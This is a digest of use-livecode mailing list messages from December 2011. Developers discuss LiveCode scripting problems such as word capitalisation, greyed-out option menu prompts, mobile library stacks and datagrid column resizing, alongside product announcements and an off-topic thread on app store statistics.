tCapsDictionary > ## doesn't work; dunno why... > # so I used "contains" The reason it fails is due to the spaces in the comma-delimited dictionary string. "Among the items of" looks for exact matches, and so won't match a word without a leading space. Remove the spaces from the dictionary list and it works. Here is what I ended up with, but there are still problems with it. It doesn't account for all possibilities, but it's a start: on mouseUp local tNewSentence put the clipboarddata["text"] into tInput set the linedel to "." repeat for each line aSentence in tInput put toLower(word 1 to -1 of aSentence) into aSentence -- the shortcut put toUpper(char 1 of aSentence) into char 1 of aSentence repeat for each token theWord in aSentence if len(theWord) = 1 and charToNum(theWord) < 65 then -- punctuation if theWord is in "(<{[" then put space & theWord after tNewSentence else put theWord & space into last char of tNewSentence end if else -- real words put capitalizeWords(theWord) into tWord put tWord & space after tNewSentence end if end repeat delete char -1 of tNewSentence -- can incorrectly delete; probably should data-check it put tNewSentence &". " after tOutPut put empty into tNewSentence end repeat if char 1 of tOutput = "." then delete char 1 of tOutput set the clipboarddata["text"] to tOutput put tOutput end mouseUp function capitalizeWords theWord put "ganesha,pancha,gurudeva!,gurudev!,Satguru,ganapathi,ganapati,yogaswami,siva,shiva,muruga,bodhinatha,lord,nataraja,aum" into tCapsDictionary if theWord is among the items of tCapsDictionary then put toUpper(char 1 of theWord) into char 1 of theWord end if return theWord end capitalizeWords I still think it could be done with regex in way fewer lines... -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Thu Dec 22 17:20:28 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 22 Dec 2011 14:20:28 -0800 Subject: Option Menu Question Message-ID: I often see menus on web pages that display an instruction as their default choice, something like "Select a color" for example. It's often greyed out and usually disappears when the user clicks on the menu. I think I can figure out how to make it disappear but is there a way to have it be greyed out if the other menu choices are not? Thanks, -- Pete Molly's Revenge From m.schonewille at economy-x-talk.com Thu Dec 22 17:29:37 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 22 Dec 2011 23:29:37 +0100 Subject: Option Menu Question In-Reply-To: References: Message-ID: <55F47968-011E-4143-8381-78653CD3225F@economy-x-talk.com> Hi Pete, You can't do that with the option menu, but you can make an empty option menu button and use the mouseDown button to show a popup menu button at the bottomleft of the option menu button. You can add a grayed-out menu item to the popup menu button with a left parenthesis as a prefix. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 22 dec 2011, at 23:20, Pete wrote: > I often see menus on web pages that display an instruction as their default > choice, something like "Select a color" for example. It's often greyed out > and usually disappears when the user clicks on the menu. I think I can > figure out how to make it disappear but is there a way to have it be greyed > out if the other menu choices are not? > > Thanks, > > > -- > Pete > Molly's Revenge From chipp at chipp.com Thu Dec 22 17:35:47 2011 From: chipp at chipp.com (Chipp Walters) Date: Thu, 22 Dec 2011 16:35:47 -0600 Subject: iPad screenrecording: how? In-Reply-To: <3469AF22E7D82A46A12B6612437B8DF5029F4DBEE2@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> References: <3469AF22E7D82A46A12B6612437B8DF5029F4DBEE2@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> Message-ID: Here's a decent way of getting diffuse lighting, though you can't tap. http://www.youtube.com/watch?v=-4pF1lW2-7w There are other iPhone copy stands with built in diffusers as well. http://obamapacman.com/2011/12/iphone-copy-stand-modahaus-steady-stand/ On Thu, Dec 22, 2011 at 12:18 PM, Mark Powell wrote: > > The problem with any of these overhead solutions is that > > it is really hard to get the lighting right. In fact it > > is darn near impossible. > > Todd > > Certainly very difficult but not impossible. See the 'Touching the iPad' > module here > > http://www.lynda.com/iPad-tutorials/tips-and-tricks/68383-2.html > > In my book, Lynda.com is the standard for setting up online training > environments. How they capture iPad demos with full practical gestures is > flawless to the point of myth. > > Mark > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Chipp Walters CEO, Altuit, Inc. From dunbarx at aol.com Thu Dec 22 17:35:49 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 22 Dec 2011 17:35:49 -0500 (EST) Subject: Option Menu Question In-Reply-To: References: Message-ID: <8CE8F11304C20E5-1E10-48F6@webmail-m030.sysops.aol.com> Pete. I prepended "(" to a menuItem in an option menu, but this only greys out that particular menuItem when they are all pulled. It does not display it as such in its rest state. It would have to be a property of the menuItem, then, no? Craig -----Original Message----- From: Pete To: How to use LiveCode Sent: Thu, Dec 22, 2011 12:22 pm Subject: Option Menu Question I often see menus on web pages that display an instruction as their default choice, something like "Select a color" for example. It's often greyed out and usually disappears when the user clicks on the menu. I think I can figure out how to make it disappear but is there a way to have it be greyed out if the other menu choices are not? Thanks, -- Pete Molly's Revenge _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Thu Dec 22 17:44:12 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 22 Dec 2011 17:44:12 -0500 (EST) Subject: Option Menu Question In-Reply-To: <55F47968-011E-4143-8381-78653CD3225F@economy-x-talk.com> References: <55F47968-011E-4143-8381-78653CD3225F@economy-x-talk.com> Message-ID: <8CE8F125C419D16-1E10-498B@webmail-m030.sysops.aol.com> Mark. The same issue with a popup as with the option: you can grey out a pulled menuItem with a prepended "(", but it will not show such in the normal rest state. Did you mean that this style of button can have this feature? Or did you mean that you can roll your own, with greyed text in an opaque field overlying the combo? Pete wanted the rest state of menuItem 1 to be greyed. The options themselves can be managed directly once pulled. Craig -----Original Message----- From: Mark Schonewille To: How to use LiveCode Sent: Thu, Dec 22, 2011 12:32 pm Subject: Re: Option Menu Question Hi Pete, You can't do that with the option menu, but you can make an empty option menu button and use the mouseDown button to show a popup menu button at the bottomleft of the option menu button. You can add a grayed-out menu item to the popup menu button with a left parenthesis as a prefix. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 22 dec 2011, at 23:20, Pete wrote: > I often see menus on web pages that display an instruction as their default > choice, something like "Select a color" for example. It's often greyed out > and usually disappears when the user clicks on the menu. I think I can > figure out how to make it disappear but is there a way to have it be greyed > out if the other menu choices are not? > > Thanks, > > > -- > Pete > Molly's Revenge _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Thu Dec 22 17:49:30 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 22 Dec 2011 23:49:30 +0100 Subject: Option Menu Question In-Reply-To: <8CE8F125C419D16-1E10-498B@webmail-m030.sysops.aol.com> References: <55F47968-011E-4143-8381-78653CD3225F@economy-x-talk.com> <8CE8F125C419D16-1E10-498B@webmail-m030.sysops.aol.com> Message-ID: <66629F9D-E634-4BF7-B52D-9AA24464649A@economy-x-talk.com> Hi Craig, I put a field on top of the option menu button and send the message to the underlying option menu button, which shows the popup menu button, or you can do it all directly from the field. The script in the popup menu button can put the picked item into the field. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 22 dec 2011, at 23:44, dunbarx at aol.com wrote: > Mark. > > > The same issue with a popup as with the option: you can grey out a pulled menuItem with a prepended "(", but it will not show such in the normal rest state. Did you mean that this style of button can have this feature? > > > Or did you mean that you can roll your own, with greyed text in an opaque field overlying the combo? Pete wanted the rest state of menuItem 1 to be greyed. The options themselves can be managed directly once pulled. > > > Craig > From rdimola at evergreeninfo.net Thu Dec 22 18:04:31 2011 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 22 Dec 2011 18:04:31 -0500 Subject: Library Stack and Mobile In-Reply-To: <4EF3911C.2000503@hyperactivesw.com> References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> <050801ccc0dd$43554970$c9ffdc50$@net> <4EF3911C.2000503@hyperactivesw.com> Message-ID: <051201ccc0fe$1071ee70$3155cb50$@net> Jacqueline, Thanks!!!!! Even when I set it up as you suggested, the lib stack is not available during the apps openCard script. The revopenstack message to the plug-in is behind the stack and card open/preopen messages of the app. Interestingly enough if I put an answer dialog in the openstack handler of the app the lib is available after I hit OK. Take out the answer dialog and the lib is not available until all the opens and propens are complete. Is this just the way the messages path crumbles? Or am I missing something? I will just put a "start using" in the apps preopen. That will fix it. On the mobile front I trying to avoid putting MY_library.livecode as a copy file because that exposes my code (and encryption method) to prying eyes. The app stack seems to be buried and compressed somewhere in the apk and not easy to expose. Any Ideas on this???? Thanks! Ralph DiMola IT Director Evergreen Information Services -----Original Message----- From: use-livecode-bounces at lists.runrev.com [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of J. Landman Gay Sent: Thursday, December 22, 2011 3:21 PM To: How to use LiveCode Subject: Re: Library Stack and Mobile On 12/22/11 1:09 PM, Ralph DiMola wrote: > I know this have been visited and read the forums, but still can't get > library stack to work on mobile. I am testing on Android but will also be > deploying to iOS. > > I put the library stack into the plug-in folder with a > > on preOpenStack > start using this stack > end preOpenStack > > This makes it only available if you open LC first THEN open your app stack. > If LC is closed and you click on a app stack the library is not available. > This was easily fixed by putting 'start using stack "EIS_Library"' in the > preOpenStack in the app stack. Instead, go the Plugins Settings in the Development->Plugins menu. Select your library stack from the popdown. Set it to open when "Revolution starts up". In the list at the right, select the line "revPreOpenStack". Then in your library stack, change your preOpenStack handler to a "revPreOpenstack" handler. LiveCode will now automatically open your stack at every launch, and send a "revPreOpenstack" message to it. The library will load whenever the IDE opens. > > I can't get the 'start using stack "EIS_Library"' to work on Android. I > included the library stack in the standalone application setting in the > stacks tab. This also makes it appear in the property inspector "stack > files" when inspecting the main app stack. > > I hit the test button to the test on the device and the "start using stack > "EIS_Library" throws an error. I'd think that should work, but mobile may not be interpreting the file locations the same way as the desktop apps do. On mobile, many of the file folders are virtual. Instead of including it in the stacks pane, try including it in the Copy Files pane. The stack will be copied to the same folder as the engine in your mobile standalone. You can refer to it in your scripts with an engine-relative file path, and start using that: put specialFolderPath("engine") & "/EIS_Library.livecode" into tPath start using stack tPath Untested, but should work. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 22 19:07:56 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 22 Dec 2011 16:07:56 -0800 Subject: How to tell when a datagrid column has been resized Message-ID: <638B21FE-FB93-4293-AEA1-4766DADA2D5F@twft.com> Hi all. I have read up on all the lessons that might help, as well as searched the datagrid library, and I cannot find anyplace where a message gets sent when a column has been resized. I would like to trap that message so the next time around I can set up the datagrid the way it was last. Any ideas? Bob From pete at mollysrevenge.com Thu Dec 22 19:37:24 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 22 Dec 2011 16:37:24 -0800 Subject: Option Menu Question In-Reply-To: <66629F9D-E634-4BF7-B52D-9AA24464649A@economy-x-talk.com> References: <55F47968-011E-4143-8381-78653CD3225F@economy-x-talk.com> <8CE8F125C419D16-1E10-498B@webmail-m030.sysops.aol.com> <66629F9D-E634-4BF7-B52D-9AA24464649A@economy-x-talk.com> Message-ID: I think I have found a way to do this without using multiple controls. I have a preOpenCard handler like this: on preOpenCard set the text of button "myMenu" to "Select an option..." set the textColor of myMenu to "#666666" --makes the text grey end preOpenCard I put the following mouseDown handler into the option menu script. *on* mouseDown *set* the text of me to the textOptions of me *set* the textColor of me to black *end* mouseDown The textOption custom property contains the real options for the menu. I'll probably put the initial prompt text into a custom property too so it's more general purpose - will also make it easier to check if the user selected an option or not. That seems to work just fine but there may be some corner cases I haven't tested. On Thu, Dec 22, 2011 at 2:49 PM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Craig, > > I put a field on top of the option menu button and send the message to the > underlying option menu button, which shows the popup menu button, or you > can do it all directly from the field. The script in the popup menu button > can put the picked item into the field. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color > Converter today. 20% commission! > > On 22 dec 2011, at 23:44, dunbarx at aol.com wrote: > > > Mark. > > > > > > The same issue with a popup as with the option: you can grey out a > pulled menuItem with a prepended "(", but it will not show such in the > normal rest state. Did you mean that this style of button can have this > feature? > > > > > > Or did you mean that you can roll your own, with greyed text in an > opaque field overlying the combo? Pete wanted the rest state of menuItem 1 > to be greyed. The options themselves can be managed directly once pulled. > > > > > > Craig > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From m.schonewille at economy-x-talk.com Thu Dec 22 19:54:10 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 23 Dec 2011 01:54:10 +0100 Subject: Option Menu Question In-Reply-To: References: <55F47968-011E-4143-8381-78653CD3225F@economy-x-talk.com> <8CE8F125C419D16-1E10-498B@webmail-m030.sysops.aol.com> <66629F9D-E634-4BF7-B52D-9AA24464649A@economy-x-talk.com> Message-ID: <3E722ECA-C7CC-42B7-B856-7BED5A002FEF@economy-x-talk.com> Hey, that works! Nice solution! -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 23 dec 2011, at 01:37, Pete wrote: > I think I have found a way to do this without using multiple controls. > > I have a preOpenCard handler like this: > > on preOpenCard > set the text of button "myMenu" to "Select an option..." > set the textColor of myMenu to "#666666" --makes the text grey > end preOpenCard > > I put the following mouseDown handler into the option menu script. > > *on* mouseDown > > *set* the text of me to the textOptions of me > > *set* the textColor of me to black > > *end* mouseDown > > > The textOption custom property contains the real options for the menu. > I'll probably put the initial prompt text into a custom property too so > it's more general purpose - will also make it easier to check if the user > selected an option or not. > > > That seems to work just fine but there may be some corner cases I haven't > tested. From bobs at twft.com Thu Dec 22 20:11:39 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 22 Dec 2011 17:11:39 -0800 Subject: How to tell when a datagrid column has been resized Message-ID: <8368B587-3AD3-43AF-BFF0-817BAA5E696D@twft.com> > Hi all. I have read up on all the lessons that might help, as well as searched the datagrid library, and I cannot find anyplace where a message gets sent when a column has been resized. I would like to trap that message so the next time around I can set up the datagrid the way it was last. Any ideas? > > Bob > > Never mind. I figured out a way. I just put a handler for getprop dgColumnWidth [pColumn] in the script of the datagrid and then pass it when through. I think I was hoping for some kind of message to get sent when the resize was FINISHED. This gets sent when a column resize is in progress, even if the column is not changing in size at the time. As long as the mouse is down on the column divider, it keeps triggering. It feels dirty somehow, like I ought to be trying to be more efficient, and can't be. Oh well. I have CPU cycles to spare I guess... Bob From pete at mollysrevenge.com Thu Dec 22 20:36:22 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 22 Dec 2011 17:36:22 -0800 Subject: How to tell when a datagrid column has been resized In-Reply-To: <8368B587-3AD3-43AF-BFF0-817BAA5E696D@twft.com> References: <8368B587-3AD3-43AF-BFF0-817BAA5E696D@twft.com> Message-ID: There's a mouseUp handler in the default header behavior script for a datagrid that looks like this: *on* mouseUp pMouseBtnNum *if* pMouseBtnNum is 1 and not the dgHeaderColumnIsBeingResized of thedgHeader of me *then* *## Change the sort of the column* *## _HeaderToggleSortOfColumn is a helper that resizes in the parent group script.* *## It toggles the sort of the column based on current state of column.* _HeaderToggleSortOfColumn the dgColumn of me *end* *if* *pass* mouseUp *end* mouseUp You might be able to figure something out from that. For example , set the default header behavior script to your own copy of it and then if the dgHeaderColumnIsBeingResized property is true, do whatever it is you need to do. Pete On Thu, Dec 22, 2011 at 5:11 PM, Bob Sneidar wrote: > > Hi all. I have read up on all the lessons that might help, as well as > searched the datagrid library, and I cannot find anyplace where a message > gets sent when a column has been resized. I would like to trap that message > so the next time around I can set up the datagrid the way it was last. Any > ideas? > > > > Bob > > > > > Never mind. I figured out a way. I just put a handler for getprop > dgColumnWidth [pColumn] in the script of the datagrid and then pass it when > through. I think I was hoping for some kind of message to get sent when the > resize was FINISHED. This gets sent when a column resize is in progress, > even if the column is not changing in size at the time. As long as the > mouse is down on the column divider, it keeps triggering. It feels dirty > somehow, like I ought to be trying to be more efficient, and can't be. > > Oh well. I have CPU cycles to spare I guess... > > Bob > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Thu Dec 22 22:10:10 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 22 Dec 2011 21:10:10 -0600 Subject: Library Stack and Mobile In-Reply-To: <051201ccc0fe$1071ee70$3155cb50$@net> References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> <050801ccc0dd$43554970$c9ffdc50$@net> <4EF3911C.2000503@hyperactivesw.com> <051201ccc0fe$1071ee70$3155cb50$@net> Message-ID: <4EF3F112.2050501@hyperactivesw.com> On 12/22/11 5:04 PM, Ralph DiMola wrote: > Jacqueline, > > Thanks!!!!! > > Even when I set it up as you suggested, the lib stack is not available > during the apps openCard script. The revopenstack message to the plug-in is > behind the stack and card open/preopen messages of the app. Interestingly > enough if I put an answer dialog in the openstack handler of the app the lib > is available after I hit OK. Take out the answer dialog and the lib is not > available until all the opens and propens are complete. Is this just the way > the messages path crumbles? Or am I missing something? I will just put a > "start using" in the apps preopen. That will fix it. The "revPreOpenstack" message will be sent to your library stack when the IDE opens it immediately after startup. Your library should have a "revPreOpenstack" handler that just puts its stack in use, so it should already be available by the time your working stack opens. Did you restart LiveCode? That's when the IDE will load your library. If something else is going on (I'm a little confused about what's happening exactly) then just specifically putting it in use is fine too. The plugin setup, of course, is an IDE-only thing. It won't work that way in a standalone. > > On the mobile front I trying to avoid putting MY_library.livecode as a copy > file because that exposes my code (and encryption method) to prying eyes. > The app stack seems to be buried and compressed somewhere in the apk and not > easy to expose. Any Ideas on this???? Password protect the stack, which will hide its code. File inclusions are tucked into the apk too, so they won't be hanging around loose somewhere anyway. Of course, it isn't hard to undo an apk and see the files inside, but if your stacks are passworded then no one can read them. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu Dec 22 22:21:15 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 22 Dec 2011 21:21:15 -0600 Subject: Library Stack and Mobile In-Reply-To: <4EF3F112.2050501@hyperactivesw.com> References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> <200C0B73-38FB-43B1-BCF2-B52B60E2D010@twft.com> <050801ccc0dd$43554970$c9ffdc50$@net> <4EF3911C.2000503@hyperactivesw.com> <051201ccc0fe$1071ee70$3155cb50$@net> <4EF3F112.2050501@hyperactivesw.com> Message-ID: <4EF3F3AB.2080402@hyperactivesw.com> On 12/22/11 9:10 PM, J. Landman Gay wrote: > The "revPreOpenstack" message will be sent to your library stack when > the IDE opens it immediately after startup. On second thought, I think that's not quite right. Your library will get the message whenever any stack opens, but you're right it will be after your working stack finishes opening. To load your library whenever the IDE opens, put the start using command into a preOpenstack handler in the library stack. Then when the IDE opens it, it should execute. If you do it that way, you won't need to use revPreOpenstack at all. I just looked at one of my library stacks (which I should have done before,) and I have a preOpenstack handler in the first card (so it won't interfere with anything else.) It starts up and gets used every time the IDE launches. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From m.schonewille at economy-x-talk.com Fri Dec 23 07:52:06 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 23 Dec 2011 13:52:06 +0100 Subject: Ann: Installer Maker Plugin 33% OFF Message-ID: <5A6784CE-8F8B-40AD-98CA-AA4E94E47718@economy-x-talk.com> Dear list members, I'd like to thank you all for the support during the past year, especially those who supported my attempts to provide cool little development tools by making a small contribution http://qery.us/1fb . Your gesture has really meant a lot to me, especially after the upsurge caused by the release of LiveCode Errors http://qery.us/v4 . Despite some wary reactions on this list, I also got lots of feedback, which has led me to start developing an Anadroid version (about which more later next year). Many thanks to all who continued to believe in me and my company! As a small token of appreciation, I'd like to give a big discount on the Installer Maker Plugin during the last week of the year. From now until 2nd of January, you can obtain a license for Installer Maker at a 33% discount by using the Plimus button on the website http://qery.us/za and entering the coupon code 33OFF. Just one more thing: currently Comcast.com, Gmail.com and Yahoo.com are doing complicated. If you contact me or are buying a license, please provide me with a different e-mail address, e.g. Mail.com or Me.com. Happy holidays and best wishes for the new year! -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From m.schonewille at economy-x-talk.com Fri Dec 23 08:46:01 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 23 Dec 2011 14:46:01 +0100 Subject: [ANN] iPhone Controls updated Message-ID: <944EE073-9217-44AF-A4A7-48C21089C830@economy-x-talk.com> Hi, I've just uploaded the latest version of my set of iPhone controls. This version contains: - bug fixes in the full-screen scrolling list - a tab bar button to create icons in the tab bar You can find them at http://qery.us/13b but note that you need to be a registered contributor to download the iPhone controls. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From bobs at twft.com Fri Dec 23 11:42:06 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 08:42:06 -0800 Subject: How to tell when a datagrid column has been resized In-Reply-To: References: <8368B587-3AD3-43AF-BFF0-817BAA5E696D@twft.com> Message-ID: <2165E54D-38A2-4D98-9182-7BDE880EB229@twft.com> Thanks Pete. I figured out a way to do it by intercepting getProp dgColumnWidth. I was hoping to tell when a column had been resized after the fact, but I do not think a message gets sent. Things only happen during the resize operation. That will have to do. I store a property of column properties, the name, the label and the width as a tab delimited list. Then I use this script in the datagrid: getprop dgColumnWidth [pColumn] put the tblDisplay of this card into theColumnData put the dgProp["column widths"] of me into theColumnWidths replace comma with tab in theColumnWidths put the itemdelimiter into theOldDelim set the itemdelimiter to tab repeat with theCount = 1 to the number of lines of theColumnData put item theCount of theColumnWidths into item 3 of line theCount of theColumnData end repeat set the tblDisplay of this card to theColumnData set the itemdelimiter to theOldDelim pass dgColumnWidth end dgColumnWidth Works a treat. Bob On Dec 22, 2011, at 5:36 PM, Pete wrote: > There's a mouseUp handler in the default header behavior script for a > datagrid that looks like this: > > *on* mouseUp pMouseBtnNum > > *if* pMouseBtnNum is 1 and not the dgHeaderColumnIsBeingResized of > thedgHeader > of me *then* > > *## Change the sort of the column* > > *## _HeaderToggleSortOfColumn is a helper that resizes in the parent > group script.* > > *## It toggles the sort of the column based on current state of > column.* > > _HeaderToggleSortOfColumn the dgColumn of me > > *end* *if* > > *pass* mouseUp > > *end* mouseUp > > > You might be able to figure something out from that. For example , set the > default header behavior script to your own copy of it and then if > the dgHeaderColumnIsBeingResized property is true, do whatever it is you > need to do. > > > Pete > > On Thu, Dec 22, 2011 at 5:11 PM, Bob Sneidar wrote: > >>> Hi all. I have read up on all the lessons that might help, as well as >> searched the datagrid library, and I cannot find anyplace where a message >> gets sent when a column has been resized. I would like to trap that message >> so the next time around I can set up the datagrid the way it was last. Any >> ideas? >>> >>> Bob >>> >>> >> Never mind. I figured out a way. I just put a handler for getprop >> dgColumnWidth [pColumn] in the script of the datagrid and then pass it when >> through. I think I was hoping for some kind of message to get sent when the >> resize was FINISHED. This gets sent when a column resize is in progress, >> even if the column is not changing in size at the time. As long as the >> mouse is down on the column divider, it keeps triggering. It feels dirty >> somehow, like I ought to be trying to be more efficient, and can't be. >> >> Oh well. I have CPU cycles to spare I guess... >> >> Bob >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Fri Dec 23 12:43:22 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 23 Dec 2011 18:43:22 +0100 Subject: [ANN] TwistAWord for iPad Message-ID: Hi guys, One more announcement to make... Two years ago, we made TwistAWord for Mac, Windows and Linux. For quite some time we have been thinking that TwistAWord would be the perfect game for iPad. We have finally released TwistAWord for iPad a few days ago and it is now available in the iTunes store. You can find it at http://qery.us/1eo . -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From mwieder at ahsoftware.net Fri Dec 23 12:56:20 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 23 Dec 2011 17:56:20 +0000 (UTC) Subject: iPhone is for games, Android is for apps. Message-ID: via Good Morning Silicon Valley... Two new reports out this week. "The first, a report by Xyologic, finds that ?iPhone is for games, Android is for apps.? It found that of the top 150 downloads in November from the Apple App Store, 100 were games, and game downloads outnumbered app downloads by nearly a 3-1 margin (71.5 million to 25.6 million)." "Apple users certainly spend more money on apps. That was the finding in a second study, by analysis firm Distimo, that compared the top 200 apps in both the Apple and Android markets." -- Mark Wieder From andre at andregarzia.com Fri Dec 23 13:28:29 2011 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 23 Dec 2011 16:28:29 -0200 Subject: [ANN] TwistAWord for iPad In-Reply-To: References: Message-ID: Mark, Congratulations on your release! as soon as I am home with my iPad, I will pick a copy. Thanks again for your work, the world needs more good games! Cheers andre On Fri, Dec 23, 2011 at 3:43 PM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi guys, > > One more announcement to make... Two years ago, we made TwistAWord for > Mac, Windows and Linux. For quite some time we have been thinking that > TwistAWord would be the perfect game for iPad. We have finally released > TwistAWord for iPad a few days ago and it is now available in the iTunes > store. You can find it at http://qery.us/1eo . > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color > Converter today. 20% commission! > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From bobs at twft.com Fri Dec 23 13:38:38 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 23 Dec 2011 10:38:38 -0800 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: References: Message-ID: Hi Mark. This is a rebuttal of the article, and not of your opinion, which I value as a general rule. So then, how odd then am I, who never play any of the games on my iPhone, and use the apps a TON! As with all "studies" I would have to get into the details of how the study was done before I would accept their findings, and I just don't want to do that. But as an example of how this sort of thing can be skewed, one of the old arguments for Windows and against Mac, was that there were way more software titles for Windows than there was for the Mac. This was unarguably true, except that no one ever thought to ask, "Do Windows users but/install more software than Mac users?" Which would beg the question, what KIND of software do each class of users buy. The far more useful question to ask would have been, "Is there more mainstream software titles in the primary categories of most used software than there are for the Mac?" or "Is there any primary categories of software that are not available to Mac users that are available to Windows users?" In other words, what can you do on a Windows box with mainstream software that you cannot do on a Mac? That there are 50 titles of FTP clients is irrelevant. People are going to get one, and perhaps two. Can you FTP on a Mac? Sure! Are there choices? Sure! So the argument is moot. What Windows IS good for is specialty apps where the target market is very small, so a large market base is the only justifiable conditions where a developer would want to take the risk. Call Accounting for Radio stations is an example. If the numbers crunched in this article (and I have not read it so I am speaking hypothetically here) all came from 2011, a time when the economy was suffering, and by which time just about anyone who WAS going to buy an iPhone did, and got the apps they wanted in 2010 and before, then the study is again, irrelevant, except as a way to say that the current trends of mobile apps purchasing has swung towards Android, and away from iPhone. But you would expect that, given that the Android entered the market a couple years after the iPhone, and the app market for Android didn't really gain momentum until some time later. Hence, the article title, "iPhone is for games, Android is for apps" is terribly misleading, and I believe intentionally so. I HATE that kind of journalism. 